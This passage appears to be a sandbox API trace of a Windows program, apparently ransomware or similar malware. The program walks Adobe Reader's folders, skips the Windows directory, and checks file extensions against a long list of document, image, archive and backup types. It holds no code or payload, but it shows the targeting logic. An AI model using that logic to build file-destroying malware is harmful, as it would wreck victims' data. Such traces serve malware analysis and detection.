lstrlenW (lpString=".adb") returned 4 [0268.844] lstrcmpiW (lpString1=".adb", lpString2="t.js") returned -1 [0268.844] lstrlenW (lpString=".adp") returned 4 [0268.844] lstrcmpiW (lpString1=".adp", lpString2="t.js") returned -1 [0268.844] lstrlenW (lpString=".ai") returned 3 [0268.844] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0268.845] lstrlenW (lpString=".ai3") returned 4 [0268.845] lstrcmpiW (lpString1=".ai3", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".ai4") returned 4 [0268.845] lstrcmpiW (lpString1=".ai4", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".ai5") returned 4 [0268.845] lstrcmpiW (lpString1=".ai5", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".ai6") returned 4 [0268.845] lstrcmpiW (lpString1=".ai6", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".ai7") returned 4 [0268.845] lstrcmpiW (lpString1=".ai7", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".ai8") returned 4 [0268.845] lstrcmpiW (lpString1=".ai8", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".anim") returned 5 [0268.845] lstrcmpiW (lpString1=".anim", lpString2="it.js") returned -1 [0268.845] lstrlenW (lpString=".arw") returned 4 [0268.845] lstrcmpiW (lpString1=".arw", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".as") returned 3 [0268.845] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0268.845] lstrlenW (lpString=".asa") returned 4 [0268.845] lstrcmpiW (lpString1=".asa", lpString2="t.js") returned -1 [0268.845] lstrlenW (lpString=".asc") returned 4 [0268.846] lstrcmpiW (lpString1=".asc", lpString2="t.js") returned -1 [0268.846] lstrlenW (lpString=".ascx") returned 5 [0268.846] lstrcmpiW (lpString1=".ascx", lpString2="it.js") returned -1 [0268.846] lstrlenW (lpString=".asm") returned 4 [0268.846] lstrcmpiW (lpString1=".asm", lpString2="t.js") returned -1 [0268.846] lstrlenW (lpString=".asmx") returned 5 [0268.846] lstrcmpiW (lpString1=".asmx", lpString2="it.js") returned -1 [0268.846] lstrlenW (lpString=".asp") returned 4 [0268.846] lstrcmpiW (lpString1=".asp", lpString2="t.js") returned -1 [0268.846] lstrlenW (lpString=".aspx") returned 5 [0268.846] lstrcmpiW (lpString1=".aspx", lpString2="it.js") returned -1 [0268.846] lstrlenW (lpString=".asr") returned 4 [0268.846] lstrcmpiW (lpString1=".asr", lpString2="t.js") returned -1 [0268.846] lstrlenW (lpString=".asx") returned 4 [0268.846] lstrcmpiW (lpString1=".asx", lpString2="t.js") returned -1 [0268.846] lstrlenW (lpString=".avi") returned 4 [0268.846] lstrcmpiW (lpString1=".avi", lpString2="t.js") returned -1 [0268.846] lstrlenW (lpString=".avs") returned 4 [0268.846] lstrcmpiW (lpString1=".avs", lpString2="t.js") returned -1 [0268.846] lstrlenW (lpString=".backup") returned 7 [0268.847] lstrcmpiW (lpString1=".backup", lpString2="ekit.js") returned -1 [0268.847] lstrlenW (lpString=".bak") returned 4 [0268.847] lstrcmpiW (lpString1=".bak", lpString2="t.js") returned -1 [0268.847] lstrlenW (lpString=".bay") returned 4 [0268.847] lstrcmpiW (lpString1=".bay", lpString2="t.js") returned -1 [0268.847] lstrlenW (lpString=".bd") returned 3 [0268.847] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0268.847] lstrlenW (lpString=".bin") returned 4 [0268.847] lstrcmpiW (lpString1=".bin", lpString2="t.js") returned -1 [0268.847] lstrlenW (lpString=".bmp") returned 4 [0268.847] lstrcmpiW (lpString1=".bmp", lpString2="t.js") returned -1 [0268.847] lstrlenW (lpString=".bz2") returned 4 [0268.847] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0268.847] lstrlenW (lpString=".c") returned 2 [0268.847] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0268.847] lstrlenW (lpString=".cdr") returned 4 [0268.847] lstrcmpiW (lpString1=".cdr", lpString2="t.js") returned -1 [0268.847] lstrlenW (lpString=".cer") returned 4 [0268.847] lstrcmpiW (lpString1=".cer", lpString2="t.js") returned -1 [0268.848] lstrlenW (lpString=".cf") returned 3 [0268.848] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0268.848] lstrlenW (lpString=".cfc") returned 4 [0268.848] lstrcmpiW (lpString1=".cfc", lpString2="t.js") returned -1 [0268.848] lstrlenW (lpString=".cfm") returned 4 [0268.848] lstrcmpiW (lpString1=".cfm", lpString2="t.js") returned -1 [0268.848] lstrlenW (lpString=".cfml") returned 5 [0268.848] lstrcmpiW (lpString1=".cfml", lpString2="it.js") returned -1 [0268.848] lstrlenW (lpString=".cfu") returned 4 [0268.848] lstrcmpiW (lpString1=".cfu", lpString2="t.js") returned -1 [0268.848] lstrlenW (lpString=".chm") returned 4 [0268.848] lstrcmpiW (lpString1=".chm", lpString2="t.js") returned -1 [0268.848] lstrlenW (lpString=".cin") returned 4 [0268.848] lstrcmpiW (lpString1=".cin", lpString2="t.js") returned -1 [0268.848] lstrlenW (lpString=".class") returned 6 [0268.848] lstrcmpiW (lpString1=".class", lpString2="kit.js") returned -1 [0268.848] lstrlenW (lpString=".clx") returned 4 [0268.848] lstrcmpiW (lpString1=".clx", lpString2="t.js") returned -1 [0268.848] lstrlenW (lpString=".config") returned 7 [0268.848] lstrcmpiW (lpString1=".config", lpString2="ekit.js") returned -1 [0268.848] lstrlenW (lpString=".cpp") returned 4 [0268.849] lstrcmpiW (lpString1=".cpp", lpString2="t.js") returned -1 [0268.849] lstrlenW (lpString=".cr2") returned 4 [0268.849] lstrcmpiW (lpString1=".cr2", lpString2="t.js") returned -1 [0268.849] lstrlenW (lpString=".crt") returned 4 [0268.849] lstrcmpiW (lpString1=".crt", lpString2="t.js") returned -1 [0268.849] lstrlenW (lpString=".crw") returned 4 [0268.849] lstrcmpiW (lpString1=".crw", lpString2="t.js") returned -1 [0268.849] lstrlenW (lpString=".cs") returned 3 [0268.849] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0268.849] lstrlenW (lpString=".css") returned 4 [0268.849] lstrcmpiW (lpString1=".css", lpString2="t.js") returned -1 [0268.849] lstrlenW (lpString=".csv") returned 4 [0268.850] lstrcmpiW (lpString1=".csv", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".cub") returned 4 [0268.850] lstrcmpiW (lpString1=".cub", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".dae") returned 4 [0268.850] lstrcmpiW (lpString1=".dae", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".dat") returned 4 [0268.850] lstrcmpiW (lpString1=".dat", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".db") returned 3 [0268.850] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0268.850] lstrlenW (lpString=".dbf") returned 4 [0268.850] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".dbx") returned 4 [0268.850] lstrcmpiW (lpString1=".dbx", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".dc3") returned 4 [0268.850] lstrcmpiW (lpString1=".dc3", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".dcm") returned 4 [0268.850] lstrcmpiW (lpString1=".dcm", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".dcr") returned 4 [0268.850] lstrcmpiW (lpString1=".dcr", lpString2="t.js") returned -1 [0268.850] lstrlenW (lpString=".der") returned 4 [0268.851] lstrcmpiW (lpString1=".der", lpString2="t.js") returned -1 [0268.851] lstrlenW (lpString=".dib") returned 4 [0268.851] lstrcmpiW (lpString1=".dib", lpString2="t.js") returned -1 [0268.851] lstrlenW (lpString=".dic") returned 4 [0268.851] lstrcmpiW (lpString1=".dic", lpString2="t.js") returned -1 [0268.851] lstrlenW (lpString=".dif") returned 4 [0268.851] lstrcmpiW (lpString1=".dif", lpString2="t.js") returned -1 [0268.851] lstrlenW (lpString=".divx") returned 5 [0268.851] lstrcmpiW (lpString1=".divx", lpString2="it.js") returned -1 [0268.851] lstrlenW (lpString=".djvu") returned 5 [0268.851] lstrcmpiW (lpString1=".djvu", lpString2="it.js") returned -1 [0268.851] lstrlenW (lpString=".dng") returned 4 [0268.851] lstrcmpiW (lpString1=".dng", lpString2="t.js") returned -1 [0268.851] lstrlenW (lpString=".doc") returned 4 [0268.851] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0268.851] lstrlenW (lpString=".docm") returned 5 [0268.852] lstrcmpiW (lpString1=".docm", lpString2="it.js") returned -1 [0268.852] lstrlenW (lpString=".docx") returned 5 [0268.852] lstrcmpiW (lpString1=".docx", lpString2="it.js") returned -1 [0268.852] lstrlenW (lpString=".dot") returned 4 [0268.852] lstrcmpiW (lpString1=".dot", lpString2="t.js") returned -1 [0268.852] lstrlenW (lpString=".dotm") returned 5 [0268.852] lstrcmpiW (lpString1=".dotm", lpString2="it.js") returned -1 [0268.852] lstrlenW (lpString=".dotx") returned 5 [0268.852] lstrcmpiW (lpString1=".dotx", lpString2="it.js") returned -1 [0268.852] lstrlenW (lpString=".dpx") returned 4 [0268.852] lstrcmpiW (lpString1=".dpx", lpString2="t.js") returned -1 [0268.852] lstrlenW (lpString=".dqy") returned 4 [0268.852] lstrcmpiW (lpString1=".dqy", lpString2="t.js") returned -1 [0268.852] lstrlenW (lpString=".dsn") returned 4 [0268.853] lstrcmpiW (lpString1=".dsn", lpString2="t.js") returned -1 [0268.853] lstrlenW (lpString=".dt") returned 3 [0268.853] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0268.853] lstrlenW (lpString=".dtd") returned 4 [0268.854] lstrcmpiW (lpString1=".dtd", lpString2="t.js") returned -1 [0268.854] lstrlenW (lpString=".dwg") returned 4 [0268.854] lstrcmpiW (lpString1=".dwg", lpString2="t.js") returned -1 [0268.854] lstrlenW (lpString=".dwt") returned 4 [0268.854] lstrcmpiW (lpString1=".dwt", lpString2="t.js") returned -1 [0268.854] lstrlenW (lpString=".dx") returned 3 [0268.854] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0268.854] lstrlenW (lpString=".dxf") returned 4 [0268.854] lstrcmpiW (lpString1=".dxf", lpString2="t.js") returned -1 [0268.854] lstrlenW (lpString=".edml") returned 5 [0268.854] lstrcmpiW (lpString1=".edml", lpString2="it.js") returned -1 [0268.854] lstrlenW (lpString=".efd") returned 4 [0268.854] lstrcmpiW (lpString1=".efd", lpString2="t.js") returned -1 [0268.854] lstrlenW (lpString=".elf") returned 4 [0268.854] lstrcmpiW (lpString1=".elf", lpString2="t.js") returned -1 [0268.854] lstrlenW (lpString=".emf") returned 4 [0268.854] lstrcmpiW (lpString1=".emf", lpString2="t.js") returned -1 [0268.854] lstrlenW (lpString=".emz") returned 4 [0268.854] lstrcmpiW (lpString1=".emz", lpString2="t.js") returned -1 [0268.855] lstrlenW (lpString=".epf") returned 4 [0268.855] lstrcmpiW (lpString1=".epf", lpString2="t.js") returned -1 [0268.855] lstrlenW (lpString=".eps") returned 4 [0268.855] lstrcmpiW (lpString1=".eps", lpString2="t.js") returned -1 [0268.855] lstrlenW (lpString=".epsf") returned 5 [0268.855] lstrcmpiW (lpString1=".epsf", lpString2="it.js") returned -1 [0268.855] lstrlenW (lpString=".epsp") returned 5 [0268.855] lstrcmpiW (lpString1=".epsp", lpString2="it.js") returned -1 [0268.855] lstrlenW (lpString=".erf") returned 4 [0268.855] lstrcmpiW (lpString1=".erf", lpString2="t.js") returned -1 [0268.855] lstrlenW (lpString=".exr") returned 4 [0268.855] lstrcmpiW (lpString1=".exr", lpString2="t.js") returned -1 [0268.855] lstrlenW (lpString=".f4v") returned 4 [0268.855] lstrcmpiW (lpString1=".f4v", lpString2="t.js") returned -1 [0268.855] lstrlenW (lpString=".fido") returned 5 [0268.855] lstrcmpiW (lpString1=".fido", lpString2="it.js") returned -1 [0268.856] lstrlenW (lpString=".flm") returned 4 [0268.856] lstrcmpiW (lpString1=".flm", lpString2="t.js") returned -1 [0268.856] lstrlenW (lpString=".flv") returned 4 [0268.856] lstrcmpiW (lpString1=".flv", lpString2="t.js") returned -1 [0268.856] lstrlenW (lpString=".frm") returned 4 [0268.856] lstrcmpiW (lpString1=".frm", lpString2="t.js") returned -1 [0268.856] lstrlenW (lpString=".fxg") returned 4 [0268.856] lstrcmpiW (lpString1=".fxg", lpString2="t.js") returned -1 [0268.856] lstrlenW (lpString=".geo") returned 4 [0268.856] lstrcmpiW (lpString1=".geo", lpString2="t.js") returned -1 [0268.856] lstrlenW (lpString=".gif") returned 4 [0268.857] lstrcmpiW (lpString1=".gif", lpString2="t.js") returned -1 [0268.857] lstrlenW (lpString=".grs") returned 4 [0268.857] lstrcmpiW (lpString1=".grs", lpString2="t.js") returned -1 [0268.857] lstrlenW (lpString=".gz") returned 3 [0268.857] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0268.857] lstrlenW (lpString=".h") returned 2 [0268.857] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0268.857] lstrlenW (lpString=".hdr") returned 4 [0268.857] lstrcmpiW (lpString1=".hdr", lpString2="t.js") returned -1 [0268.857] lstrlenW (lpString=".hpp") returned 4 [0268.857] lstrcmpiW (lpString1=".hpp", lpString2="t.js") returned -1 [0268.857] lstrlenW (lpString=".hta") returned 4 [0268.857] lstrcmpiW (lpString1=".hta", lpString2="t.js") returned -1 [0268.857] lstrlenW (lpString=".htc") returned 4 [0268.857] lstrcmpiW (lpString1=".htc", lpString2="t.js") returned -1 [0268.857] lstrlenW (lpString=".htm") returned 4 [0268.857] lstrcmpiW (lpString1=".htm", lpString2="t.js") returned -1 [0268.857] lstrlenW (lpString=".html") returned 5 [0268.858] lstrcmpiW (lpString1=".html", lpString2="it.js") returned -1 [0268.858] lstrlenW (lpString=".icb") returned 4 [0268.858] lstrcmpiW (lpString1=".icb", lpString2="t.js") returned -1 [0268.858] lstrlenW (lpString=".ics") returned 4 [0268.858] lstrcmpiW (lpString1=".ics", lpString2="t.js") returned -1 [0268.858] lstrlenW (lpString=".iff") returned 4 [0268.858] lstrcmpiW (lpString1=".iff", lpString2="t.js") returned -1 [0268.858] lstrlenW (lpString=".inc") returned 4 [0268.858] lstrcmpiW (lpString1=".inc", lpString2="t.js") returned -1 [0268.858] lstrlenW (lpString=".indd") returned 5 [0268.858] lstrcmpiW (lpString1=".indd", lpString2="it.js") returned -1 [0268.858] lstrlenW (lpString=".ini") returned 4 [0268.858] lstrcmpiW (lpString1=".ini", lpString2="t.js") returned -1 [0268.858] lstrlenW (lpString=".iqy") returned 4 [0268.858] lstrcmpiW (lpString1=".iqy", lpString2="t.js") returned -1 [0268.858] lstrlenW (lpString=".j2c") returned 4 [0268.859] lstrcmpiW (lpString1=".j2c", lpString2="t.js") returned -1 [0268.859] lstrlenW (lpString=".j2k") returned 4 [0268.859] lstrcmpiW (lpString1=".j2k", lpString2="t.js") returned -1 [0268.859] lstrlenW (lpString=".java") returned 5 [0268.859] lstrcmpiW (lpString1=".java", lpString2="it.js") returned -1 [0268.859] lstrlenW (lpString=".jp2") returned 4 [0268.859] lstrcmpiW (lpString1=".jp2", lpString2="t.js") returned -1 [0268.859] lstrlenW (lpString=".jpc") returned 4 [0268.859] lstrcmpiW (lpString1=".jpc", lpString2="t.js") returned -1 [0268.859] lstrlenW (lpString=".jpe") returned 4 [0268.860] lstrcmpiW (lpString1=".jpe", lpString2="t.js") returned -1 [0268.860] lstrlenW (lpString=".jpeg") returned 5 [0268.860] lstrcmpiW (lpString1=".jpeg", lpString2="it.js") returned -1 [0268.860] lstrlenW (lpString=".jpf") returned 4 [0268.860] lstrcmpiW (lpString1=".jpf", lpString2="t.js") returned -1 [0268.860] lstrlenW (lpString=".jpg") returned 4 [0268.860] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0268.860] lstrlenW (lpString=".jpx") returned 4 [0268.860] lstrcmpiW (lpString1=".jpx", lpString2="t.js") returned -1 [0268.860] lstrlenW (lpString=".js") returned 3 [0268.860] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0268.860] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 0 [0268.860] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0268.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0268.861] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0268.861] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins") returned 94 [0268.861] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins") returned 1 [0268.861] lstrlenW (lpString="plugins") returned 7 [0268.862] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1 [0268.862] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4215da0 [0268.862] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins") returned 94 [0268.862] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\*", lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bb0 [0268.867] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0268.868] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account", cAlternateFileName="ADD-AC~1")) returned 1 [0268.869] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account") returned 106 [0268.869] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account") returned 1 [0268.869] lstrlenW (lpString="add-account") returned 11 [0268.869] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="add-account") returned 1 [0268.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0268.869] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account") returned 106 [0268.869] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0268.874] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.874] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0268.875] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css") returned 110 [0268.875] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css") returned 1 [0268.875] lstrlenW (lpString="css") returned 3 [0268.875] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1 [0268.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0268.875] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css") returned 110 [0268.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0268.876] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0268.877] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0268.877] lstrlenW (lpString="main-selector.css") returned 17 [0268.877] lstrlenW (lpString=".1cd") returned 4 [0268.877] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0268.877] lstrlenW (lpString=".3ds") returned 4 [0268.877] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0268.877] lstrlenW (lpString=".3fr") returned 4 [0268.877] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0268.877] lstrlenW (lpString=".3g2") returned 4 [0268.877] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0268.877] lstrlenW (lpString=".3gp") returned 4 [0268.877] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0268.877] lstrlenW (lpString=".7z") returned 3 [0268.878] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0268.878] lstrlenW (lpString=".accda") returned 6 [0268.878] lstrcmpiW (lpString1=".accda", lpString2="or.css") returned -1 [0268.878] lstrlenW (lpString=".accdb") returned 6 [0268.878] lstrcmpiW (lpString1=".accdb", lpString2="or.css") returned -1 [0268.878] lstrlenW (lpString=".accdc") returned 6 [0268.878] lstrcmpiW (lpString1=".accdc", lpString2="or.css") returned -1 [0268.878] lstrlenW (lpString=".accde") returned 6 [0268.878] lstrcmpiW (lpString1=".accde", lpString2="or.css") returned -1 [0268.878] lstrlenW (lpString=".accdt") returned 6 [0268.878] lstrcmpiW (lpString1=".accdt", lpString2="or.css") returned -1 [0268.878] lstrlenW (lpString=".accdw") returned 6 [0268.878] lstrcmpiW (lpString1=".accdw", lpString2="or.css") returned -1 [0268.878] lstrlenW (lpString=".adb") returned 4 [0268.878] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0268.878] lstrlenW (lpString=".adp") returned 4 [0268.878] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0268.878] lstrlenW (lpString=".ai") returned 3 [0268.878] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0268.878] lstrlenW (lpString=".ai3") returned 4 [0268.879] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".ai4") returned 4 [0268.879] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".ai5") returned 4 [0268.879] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".ai6") returned 4 [0268.879] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".ai7") returned 4 [0268.879] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".ai8") returned 4 [0268.879] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".anim") returned 5 [0268.879] lstrcmpiW (lpString1=".anim", lpString2="r.css") returned -1 [0268.879] lstrlenW (lpString=".arw") returned 4 [0268.879] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".as") returned 3 [0268.879] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0268.879] lstrlenW (lpString=".asa") returned 4 [0268.879] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0268.879] lstrlenW (lpString=".asc") returned 4 [0268.879] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0268.880] lstrlenW (lpString=".ascx") returned 5 [0268.880] lstrcmpiW (lpString1=".ascx", lpString2="r.css") returned -1 [0268.880] lstrlenW (lpString=".asm") returned 4 [0268.880] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0268.880] 